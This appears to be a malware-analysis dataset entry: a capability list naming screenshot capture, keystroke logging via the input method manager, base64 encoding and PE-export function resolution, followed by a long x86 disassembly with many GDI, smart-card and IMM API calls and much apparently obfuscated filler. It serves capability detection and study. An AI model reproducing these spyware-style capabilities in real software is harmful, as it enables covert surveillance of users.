Function at 0x12501600
Capabilities:
Capture screenshot
Encode data using base64
Extract resource via kernel32 functions
Get hostname
Identify system language via api
Inspect load icon resource
Log keystrokes via input method manager
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xdc4
mov eax, dword [0x125221e4]
xor eax, esp
mov dword [esp + 0xdc0], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x88], eax
mov dword [0x125249a8], eax
mov eax, dword fs:[0x2c]
xor edx, edx
mov eax, dword [eax]
push ebx
inc dword [eax + 4]
push esi
xorps xmm0, xmm0
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [esp + 0x80], edx
mov dword [esp + 0x3b0], edx
mov dword [esp + 0x28], 0x3d
movq qword [esp + 0x2ec], xmm0
mov dword [esp + 0x2f4], edx
lea esi, [edx + 0x50]
jmp 0x12501670
cmp dword [0x1252499c], 0
jne 0x12501693
lea eax, [esp + 0xbc0]
movzx eax, ax
imul eax, dword [0x125249a0]
sub edx, eax
mov dword [esp + 0x80], edx
lea eax, [esp + 0x98]
push eax
push 8
push 0
mov dword [esp + 0xa4], 0
call edi
mov edx, dword [esp + 0x80]
mov ebx, eax
mov dword [esp + 0x20], ebx
dec esi
jne 0x12501670
mov ecx, dword [0x125249a0]
mov edx, dword [esp + 0x14]
sub edx, dword [0x125249d4]
push 0
add ecx, 0x3d
push 0
add ecx, edx
push 0
mov dword [0x125249a0], ecx
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
push 0
push 0
push 0
mov dword [0x125249a4], 0
call dword [sym.imp.GDI32.dll_GetPixel]
xor eax, eax
jne 0x1250171f
mov eax, dword [0x125249a4]
lea ecx, [ebx + 0x3f]
cdq
idiv ecx
mov ecx, eax
add ecx, dword [esp + 0x2ec]
add ecx, dword [0x125249d4]
mov dword [0x12524994], ecx
jmp 0x12501725
mov ecx, dword [0x12524994]
push 0xcc0020
push 0x12
push 0x16
push 5
push 5
push 0
lea eax, [ebx + 2]
push eax
push ebx
push dword [0x125249a0]
push ecx
push 0
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0x1400
call fcn.1250a80b
mov edi, dword [0x125249d4]
mov esi, dword [esp + 0x98]
add esp, 4
mov ebx, eax
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Mask
push esi
mov dword [esp + 0x6c], eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push edi
mov dword [esp + 0x3c4], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [esp + 0x14]
mov dword [esp + 0x28], eax
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
lea eax, [esp + 0x2e8]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [0x125249d4]
imul eax, dword [esp + 0x20]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
mov dword [esp + 0x3cc], eax
mov dword [0x125249a0], 1
call esi
push eax
push 0
call esi
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov edi, dword [esp + 0x18]
mov esi, dword [sym.imp.USER32.dll_SetScrollPos]
push 1
push 1
push 1
push edi
mov dword [0x12524998], eax
call esi
push 1
push 0
push 1
push edi
call esi
push 1
push 0
lea eax, [ebx + ebx*2]
push 1
add eax, eax
push edi
mov dword [esp + 0xac], eax
call esi
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1250184b
cmp eax, 1
je 0x1250184b
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [esp + 0x3f0]
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconExA]
mov dword [esp + 0x28], 0x37
jmp 0x12501861
mov eax, dword [0x12524994]
add eax, 0x1fb
add eax, dword [esp + 0x3c8]
mov dword [0x12524994], eax
lea eax, [esp + 0xd8]
push eax
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [esp + 0x338]
push eax
push edi
call dword [sym.imp.USER32.dll_BeginPaint]
mov edx, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
push 0xcc0020
push edx
push ecx
push dword [esp + 0x30]
push dword [esp + 0x35c]
push dword [esp + 0x35c]
push edx
push ecx
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x338]
push eax
push edi
call dword [sym.imp.USER32.dll_EndPaint]
mov ebx, dword [esp + 0x24]
xor eax, eax
cdq
idiv ebx
add dword [esp + 0x64], 0x783
mov dword [esp + 0x68], eax
cmp eax, 0x499602d2
jne 0x125018ea
cmp dword [0x125249a4], 6
je 0x12501a03
push edi
call dword [sym.imp.USER32.dll_GetDC]
push eax
mov dword [esp + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [esp + 0x3c0]
mov esi, eax
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x660046
lea eax, [ebx - 1]
imul ebx, ebx, 0x499602d2
push 0
push 0
push esi
push eax
push eax
inc ebx
push ebx
push ebx
push dword [esp + 0x44]
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x3c8]
mov esi, dword [esp + 0x68]
lea eax, [eax + eax*4]
push 0x660046
lea ecx, [ecx + eax*2]
mov eax, dword [0x12524994]
add eax, 0x1fb
add eax, ecx
mov ecx, dword [esp + 0x28]
push 0
mov edi, esi
imul esi, ecx
push 0
imul edi, ecx
push dword [esp + 0x1c]
mov dword [0x12524994], eax
lea eax, [ecx - 1]
push eax
push eax
inc edi
push edi
inc esi
push esi
push dword [esp + 0x44]
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x24]
push 0x660046
push 0
push 0
push dword [esp + 0x1c]
dec eax
push eax
push eax
push ebx
push ebx
push dword [esp + 0x7c]
call dword [sym.imp.GDI32.dll_BitBlt]
mov ebx, dword [esp + 0x10]
mov eax, dword [esp + 0x24]
push 0x660046
push 0
push 0
push ebx
dec eax
push eax
push eax
push edi
push esi
mov esi, dword [esp + 0x7c]
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov ebx, dword [esp + 0x28]
lea eax, [ebx + 0x96]
imul eax, dword [esp + 0x20]
imul eax, eax, 0x13ec
add eax, dword [esp + 0x64]
mov edi, dword [esp + 0x18]
push esi
push edi
mov dword [0x1252499c], eax
mov dword [0x125249a0], 0x3d
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x12501a07
mov ebx, dword [esp + 0x28]
push 0
push 0x3d
push dword [esp + 0x28]
push edi
call dword [sym.imp.USER32.dll_DefWindowProcA]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.GDI32.dll_TextOutA]
mov edi, eax
mov eax, dword [esp + 0x20]
push eax
push str.System_Font
push eax
push eax
push edi
call esi
movq xmm0, qword [str.Times_New_Roman]
movq qword [0x12524a78], xmm0
movq xmm0, qword [0x1251f4f8]
push 0x12524a5c
mov dword [0x12524a5c], 0x14
mov dword [0x12524a6c], 0x2bc
mov word [0x12524a70], 0x101
mov byte [0x12524a72], 1
movq qword [0x12524a80], xmm0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [esp + 0x20]
push str.Times_New_Roman
push 0
push 0
push edi
call esi
push 0xd
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push edi
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
call edi
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [esp + 0x20]
lea ecx, [eax + eax]
mov eax, dword [0x12524994]
imul eax, dword [ebp + 0x14]
add eax, ecx
mov dword [0x125249a0], eax
lea eax, [esp + 0x2d8]
push eax
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [esp + 0x14]
push 2
mov dword [0x125249d4], eax
lea eax, [esp + 0x2dc]
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [0x125249a4]
add eax, 2
imul eax, dword [0x1252499c]
mov dword [0x12524994], eax
mov eax, dword [esp + 0x64]
xorps xmm0, xmm0
lea eax, [eax + eax*2]
mov dword [esp + 0x14], eax
add eax, dword [esp + 0x20]
mov dword [esp + 0x2f8], 0
add ebx, eax
mov eax, dword [esp + 0x2dc]
neg eax
push eax
mov eax, dword [esp + 0x2dc]
neg eax
movq qword [esp + 0x300], xmm0
mov dword [esp + 0x308], 0
push eax
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov dword [esp + 0x68], eax
lea eax, [esp + 0x2f8]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
push dword [esp + 0x304]
push dword [esp + 0x304]
push dword [esp + 0x304]
push dword [esp + 0x304]
push 1
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
mov eax, dword [0x125249a0]
lea eax, [eax*2 - 4]
sub eax, dword [esp + 0x20]
push eax
mov dword [0x125249a0], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, eax
push esi
lea eax, [esp + 0x2dc]
push eax
push 1
call dword [sym.imp.USER32.dll_FillRect]
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
cmp dword [0x125249a0], 0
je 0x12501be0
lea eax, [ebx + 1]
mov dword [esp + 0x3b0], eax
push 0
push 1
call dword [sym.imp.GDI32.dll_SelectClipRgn]
mov eax, dword [0x125249a4]
mov esi, dword [0x125249d4]
push 0
mov dword [esp + 0x3cc], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call edi
push 8
mov edi, eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [0x12524994]
mov eax, dword [0x125249a0]
imul eax, dword [esp + 0x20]
mov ecx, ebx
imul ecx, ecx, 0xf00
shr ecx, 1
add edx, ecx
mov ecx, dword [esp + 0x3b0]
mov dword [0x12524994], edx
imul edx, dword [esp + 0x68]
imul edx, ebx
mov ebx, dword [esp + 0x68]
add eax, 0x1000
imul ebx, ebx, 0x27
add eax, edx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
add ecx, 0x2a
add ebx, ecx
mov ecx, dword [esp + 0x24]
inc eax
push eax
mov eax, dword [esp + 0x24]
inc ecx
push ecx
push 0
push 0
inc eax
push eax
mov dword [esp + 0x2c], ebx
call dword [sym.imp.GDI32.dll_Rectangle]
lea eax, [esp + 0x2e8]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x68]
mov esi, dword [esp + 0x20]
add eax, ebx
push 0x25
lea eax, [eax + ebx*8]
inc esi
lea eax, [eax + ecx*8]
lea eax, [eax*2 + 2]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x2ec]
push eax
push 0xffffffffffffffff
push str.Press_F2_to_load_a_picture
push esi
call dword [sym.imp.USER32.dll_DrawTextA]
push 7
call dword [sym.imp.GDI32.dll_GetStockObject]
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
push eax
push esi
call ebx
push edi
push esi
call ebx
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, dword [0x1252499c]
imul esi, dword [esp + 0x20]
movd xmm0, dword [esp + 0x24]
mov ecx, dword [esp + 0x24]
mov edx, eax
mov eax, dword [esp + 0x10]
sub eax, dword [esp + 0x98]
cvtdq2pd xmm0, xmm0
movd xmm2, eax
cvtdq2pd xmm2, xmm2
mov dword [esp + 0x10], eax
shr eax, 0x1f
shl ecx, 6
addsd xmm2, qword [eax*8 + 0x1251f720]
add ecx, dword [esp + 0x24]
mov dword [esp + 0x3b0], edx
add esi, ecx
mov dword [esp + 0x28], esi
comisd xmm2, xmm0
movsd qword [esp + 0x3a8], xmm2
jbe 0x12501d64
movsd qword [esp + 0x3a8], xmm0
mov edi, dword [esp + 0x14]
sub edi, dword [esp + 0x98]
movd xmm1, dword [esp + 0x24]
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mov eax, edi
shr eax, 0x1f
cvtdq2pd xmm1, xmm1
addsd xmm0, qword [eax*8 + 0x1251f720]
comisd xmm0, xmm1
movsd qword [esp + 0x88], xmm0
jbe 0x12501da7
movsd qword [esp + 0x88], xmm1
push dword [esp + 0x14]
push edx
call ebx
mov ecx, dword [esp + 0x68]
add ecx, dword [esp + 0x3c8]
mov esi, eax
mov eax, dword [esp + 0x5c]
push 0xcc0020
push dword [esp + 0x9c]
add eax, 0x1f4
push dword [esp + 0xa0]
add ecx, eax
push dword [esp + 0x3bc]
cvttsd2si eax, qword [esp + 0x3b8]
mov dword [0x125249a0], ecx
cvttsd2si ecx, qword [esp + 0x98]
push ecx
push eax
mov eax, dword [esp + 0x38]
push 0
push 0
inc eax
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push str.HeapCreate
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x3b8], eax
mov eax, dword [esp + 0x24]
shl eax, 7
add eax, dword [esp + 0x3c8]
push esi
mov esi, dword [esp + 0x3b4]
push esi
mov dword [esp + 0x3c8], eax
call ebx
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call ebx
push 8
mov esi, eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call ebx
mov eax, dword [esp + 0x20]
mov ecx, dword [0x12524994]
imul ecx, dword [0x125249d4]
mov ebx, dword [esp + 0x18]
lea edx, [eax*8]
sub edx, eax
mov eax, dword [0x125249a0]
add eax, 0xe
lea ebx, [ebx*2 + 1]
imul ebx, dword [esp + 0x5c]
lea eax, [eax + edx*2]
imul ecx, eax
add ebx, 0x27
imul ecx, ebx
mov dword [0x125249a0], eax
mov eax, dword [esp + 0x24]
shl eax, 6
add ecx, eax
mov eax, dword [esp + 0x24]
inc eax
push eax
mov eax, dword [esp + 0x28]
inc eax
push eax
mov dword [esp + 0x3b8], ecx
push 0
push dword [esp + 0x1c]
mov eax, dword [esp + 0x30]
inc eax
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 7
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
inc eax
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call esi
push 8
mov dword [esp + 0x3cc], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
mov eax, dword [esp + 0x24]
inc eax
push eax
call esi
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x10]
inc eax
push eax
lea eax, [edx + 1]
cmp edx, ecx
jle 0x12501f50
lea eax, [ecx + 1]
push eax
push edi
mov edi, dword [esp + 0x2c]
push 0
inc edi
push edi
call dword [sym.imp.GDI32.dll_Rectangle]
push 7
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push edi
call esi
push dword [esp + 0x3c0]
push dword [esp + 0x2c]
push dword [esp + 0x3b8]
call dword [esp + 0x3c4]
push dword [esp + 0x3c8]
mov dword [esp + 0x3ac], eax
push edi
call esi
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [esp + 0x18]
mov edx, dword [ebp + 0x14]
add eax, 0xa
add edx, eax
mov eax, dword [esp + 0x94]
mov esi, dword [esp + 0x64]
lea eax, [eax + edx]
add eax, eax
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.WinSCard.dll_SCardListReadersA]
lea ecx, [eax*2 + 3]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x68]
imul ecx, dword [esp + 0x80]
lea eax, [edx + edx*4]
mov dword [esp + 0x3c8], esi
lea eax, [ecx + eax*2]
mov dword [esp + 0x3d0], 0x4a400
lea edx, [eax + eax*4]
mov eax, 2
sub eax, dword [0x125249a4]
shl edx, 3
imul eax, esi
mov dword [esp + 0x3d4], 0xa00a
lea eax, [eax + eax*2]
sub eax, edx
add eax, dword [0x125249a4]
mov dword [esp + 0x3d8], 0x1036200
mov word [esp + 0x3dc], 0x60c
mov byte [esp + 0x3de], 1
mov dword [esp + 0x24], 0
mov dword [esp + 0x3b8], ecx
mov dword [esp + 0x3c0], eax
push 0
push 0
push 0
push 2
call dword [sym.imp.WinSCard.dll_SCardEstablishContext]
lea eax, [esp + 0x3b0]
push eax
push 0
push 0
push 0
call edi
mov ecx, dword [esp + 0x80]
lea eax, [ebx + 4]
imul eax, ebx
add eax, dword [esp + 0x3b8]
add ecx, 0xa
push 1
push dword [esp + 0x3b4]
add eax, ecx
mov dword [0x125249a0], eax
call fcn.1250a7cd
add esp, 8
mov esi, eax
lea eax, [esp + 0x3b0]
push eax
push esi
push 0
push dword [esp + 0x2c]
call edi
mov edi, eax
mov eax, dword [esp + 0x28]
imul edi, dword [esp + 0x20]
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x60]
push eax
push 3
push 2
push esi
push 0
call dword [sym.imp.WinSCard.dll_SCardConnectA]
mov eax, dword [0x12524994]
sub eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
imul eax, dword [esp + 0x3c0]
lea eax, [eax + ecx*2]
inc eax
cmp dword [esp + 0x68], 0
mov dword [0x125249a0], eax
jne 0x1250214e
cmp edi, dword [0x125249a4]
jne 0x1250214e
cmp dword [0x125249d4], 0
jne 0x1250214e
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xdc]
push eax
push 0
push 0xf
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0x9c]
push eax
push dword [esp + 0x74]
mov dword [esp + 0x34], 0x102
call dword [sym.imp.WinSCard.dll_SCardTransmit]
mov edx, dword [0x12524998]
mov edi, dword [esp + 0x68]
jmp 0x1250215d
mov edi, dword [esp + 0x68]
lea eax, [edi + 2]
imul ebx, eax
shl ebx, 5
xor edx, edx
mov eax, dword [esp + 0x1c]
dec eax
je 0x1250216f
dec eax
jne 0x12502188
mov ecx, dword [sym.imp.WinSCard.dll_g_rgSCardT1Pci]
jmp 0x12502175
mov ecx, dword [sym.imp.WinSCard.dll_g_rgSCardT0Pci]
mov eax, dword [ecx]
mov dword [esp + 0x88], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x8c], eax
test edx, edx
jne 0x1250222f
push 0x58
push edx
lea eax, [esp + 0x340]
push eax
call fcn.12510770
lea eax, [esp + 0x3ec]
mov dword [esp + 0x360], eax
lea eax, [esp + 0xafc]
add esp, 0xc
mov dword [esp + 0x344], eax
lea eax, [esp + 0x338]
push eax
mov dword [esp + 0x33c], 0x58
mov dword [esp + 0x340], 0
mov byte [esp + 0x3e4], 0
mov dword [esp + 0x35c], 0x104
mov dword [esp + 0x354], 1
mov dword [esp + 0x360], 0
mov dword [esp + 0x364], 0
mov dword [esp + 0x368], 0
mov dword [esp + 0x370], 0x1800
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
jmp 0x12502261
mov eax, dword [esp + 0x64]
mov dword [esp + 0x5e8], eax
xor esi, esi
lea esp, [esp]
push dword [0x12524994]
movsx eax, byte [esp + esi + 0x3e4]
push eax
push 0x102
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
inc esi
cmp esi, 3
jl 0x12502240
dec dword [esp + 0x3c8]
mov edi, dword [sym.imp.WinSCard.dll_SCardListReadersA]
mov dword [esp + 0x18], 0x102
jne 0x12502053
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xdc]
push eax
push 0
push 4
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x9c]
push eax
push dword [esp + 0x74]
mov dword [esp + 0x3e4], ebx
call dword [sym.imp.WinSCard.dll_SCardTransmit]
mov ecx, dword [esp + 0x28]
imul ecx, dword [0x125249d4]
mov edi, dword [esp + 0x94]
mov ebx, dword [ebp + 0x14]
add ecx, 2
mov eax, 0xb21642c9
imul ecx
add edx, ecx
mov dword [esp + 0x28], ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [esp + 0x3b0], edi
mov esi, 0x10
mov dword [esp + 0x1c], ecx
lea ebx, [ebx]
movzx eax, bl
sub eax, ecx
dec esi
cmp eax, edi
jne 0x1250232c
mov eax, dword [esp + 0x80]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1251f720]
call fcn.12514d50
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
addsd xmm0, xmm1
cvttsd2si ebx, xmm0
jmp 0x12502340
movzx eax, word [0x12524994]
sub eax, dword [esp + 0x9c]
sub eax, dword [esp + 0x68]
add ebx, eax
cmp dword [esp + 0x20], 0
je 0x1250234f
push 0
call dword [sym.imp.UxTheme.dll_SetThemeAppProperties]
mov ecx, dword [esp + 0x1c]
test esi, esi
jne 0x125022f0
push 8
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
call fcn.1250ae18
add esp, 4
test eax, eax
je 0x12507adb
mov dword [esp + 0x6c], eax
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [esp + 0x6c]
lea ecx, [esp + 0x6c]
mov dword [eax], ecx
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
lea eax, [ecx + edx]
test al, 0xf
jne 0x125023e2
lea eax, [ecx + 0x10]
shr eax, 4
cmp esi, eax
ja 0x125023e2
push ecx
lea ecx, [esp + 0x70]
call fcn.12508540
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov eax, esi
shl eax, 4
dec eax
and edx, eax
lea eax, [esi - 1]
lea ebx, [ecx + edx]
mov edi, ebx
shr edi, 4
and edi, eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x78], edx
cmp dword [eax + edi*4], 0
jne 0x1250242c
push 0x10
call fcn.1250ae18
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x12507ae0
mov eax, dword [esp + 0x70]
mov dword [eax + edi*4], ecx
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov eax, dword [esp + 0x70]
and ebx, 0xf
add ebx, dword [eax + edi*4]
je 0x12502447
mov byte [ebx], 1
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
lea eax, [esp + 0x6f0]
movzx eax, al
imul eax, dword [esp + 0x3c8]
inc ecx
mov dword [esp + 0x7c], ecx
test eax, eax
je 0x12502470
movzx eax, word [0x12524998]
mov dword [esp + 0x80], eax
lea eax, [ecx + edx]
test al, 0xf
jne 0x12502497
lea eax, [ecx + 0x10]
shr eax, 4
cmp esi, eax
ja 0x12502497
push ecx
lea ecx, [esp + 0x70]
call fcn.12508540
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov eax, esi
shl eax, 4
dec eax
and edx, eax
lea eax, [esi - 1]
lea ebx, [ecx + edx]
mov edi, ebx
shr edi, 4
and edi, eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x78], edx
cmp dword [eax + edi*4], 0
jne 0x125024dd
push 0x10
call fcn.1250ae18
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x12507ae5
mov eax, dword [esp + 0x70]
mov dword [eax + edi*4], ecx
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
mov eax, dword [esp + 0x70]
and ebx, 0xf
add ebx, dword [eax + edi*4]
mov eax, dword [esp + 0x3b0]
je 0x125024fa
mov byte [ebx], al
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x78]
inc ecx
mov dword [esp + 0x7c], ecx
je 0x12502517
dec ecx
mov dword [esp + 0x7c], ecx
jne 0x12502512
mov dword [esp + 0x78], 0
jmp 0x12502517
inc edx
mov dword [esp + 0x78], edx
imul eax, dword [0x125249d4]
lea ecx, [esp + 0x5e8]
imul eax, ecx
add eax, 0x17000
push eax
push 8
push dword [esp + 0x3b0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfffdffff
push eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov eax, dword [esp + 0x7c]
test eax, eax
je 0x12502582
mov ecx, dword [esp + 0x78]
dec eax
mov edx, 0
cmove ecx, edx
mov dword [esp + 0x78], ecx
test eax, eax
jne 0x1250256d
mov dword [esp + 0x7c], eax
mov esi, dword [esp + 0x74]
mov ecx, dword [esp + 0x70]
test esi, esi
je 0x125025aa
mov edi, edi
mov eax, dword [ecx + esi*4 - 4]
dec esi
test eax, eax
je 0x125025a6
push eax
call fcn.1250ab1c
mov ecx, dword [esp + 0x74]
add esp, 4
test esi, esi
jne 0x12502590
test ecx, ecx
je 0x125025b7
push ecx
call fcn.1250ab1c
add esp, 4
push dword [esp + 0x6c]
mov dword [esp + 0x78], 0
mov dword [esp + 0x74], 0
call fcn.1250ab1c
add esp, 4
lea eax, [esp + 0x6f0]
push 0x400
push eax
push 0
mov dword [esp + 0x78], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x6f0]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push eax
push 0
push 0
push 0x64
push 0x64
push 0
push 0
push 0x80000000
push 0x1251f448
push str.EDIT
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [sym.imp.IMM32.dll_ImmGetContext]
push eax
mov dword [0x12524a48], eax
call esi
mov dword [0x12524a54], eax
test eax, eax
jne 0x12502658
call dword [sym.imp.IMM32.dll_ImmCreateContext]
push eax
push dword [0x12524a48]
mov dword [0x12524a54], eax
call dword [sym.imp.IMM32.dll_ImmAssociateContext]
mov eax, dword [0x12524a54]
push 0
push 0
push 0x800
push str.imm_test
push 9
push eax
call dword [sym.imp.IMM32.dll_ImmSetCompositionStringW]
push eax
push str.ImmSetCompositionString_returned:__d_n
call fcn.1250a9ec
add esp, 8
push 0
push 0
push 8
push dword [0x12524a54]
call dword [sym.imp.IMM32.dll_ImmGetCompositionStringW]
push eax
push str.ImmGetCompositionString_returned:__d___p_n
call fcn.1250a9ec
mov ebx, dword [esp + 0x70]
add esp, 8
push ebx
call esi
mov esi, eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3ac]
push eax
push esi
call dword [sym.imp.IMM32.dll_ImmGetConversionStatus]
push esi
push ebx
call dword [sym.imp.IMM32.dll_ImmReleaseContext]
test byte [esp + 0x3a8], 1
mov edx, dword [0x12524994]
cmove edx, dword [0x125249a0]
mov eax, edx
sub eax, dword [0x125249a0]
mov dword [0x12524994], edx
add eax, dword [0x125249a4]
cmp eax, dword [0x12524998]
jb 0x12502705
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov edi, dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0xdc], eax
movzx eax, dx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], edx
call edi
cmp dword [0x125249a4], 0
mov dword [esp + 0xec], eax
je 0x12502774
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
add esp, 0xc
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov ebx, dword [0x125249a4]
mov dword [esp + 0xec], eax
test ebx, ebx
je 0x125027ea
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov ebx, dword [0x125249a4]
add esp, 0xc
mov eax, dword [esp + 0x14]
mov esi, dword [0x1252499c]
imul eax, esi
mov ecx, 1
cmp dword [esp + 0x3a8], eax
je 0x1250281e
movzx eax, si
sub ecx, eax
imul ecx, dword [esp + 0x3a8]
sub ecx, 3
mov dword [esp + 0x3b0], ecx
jmp 0x1250282c
mov eax, dword [esp + 0x3a8]
mov dword [esp + 0x3b0], eax
test ebx, ebx
je 0x12502976
mov eax, dword [str.Window]
mov dword [esp + 0x3b8], eax
mov ax, word [0x1251f494]
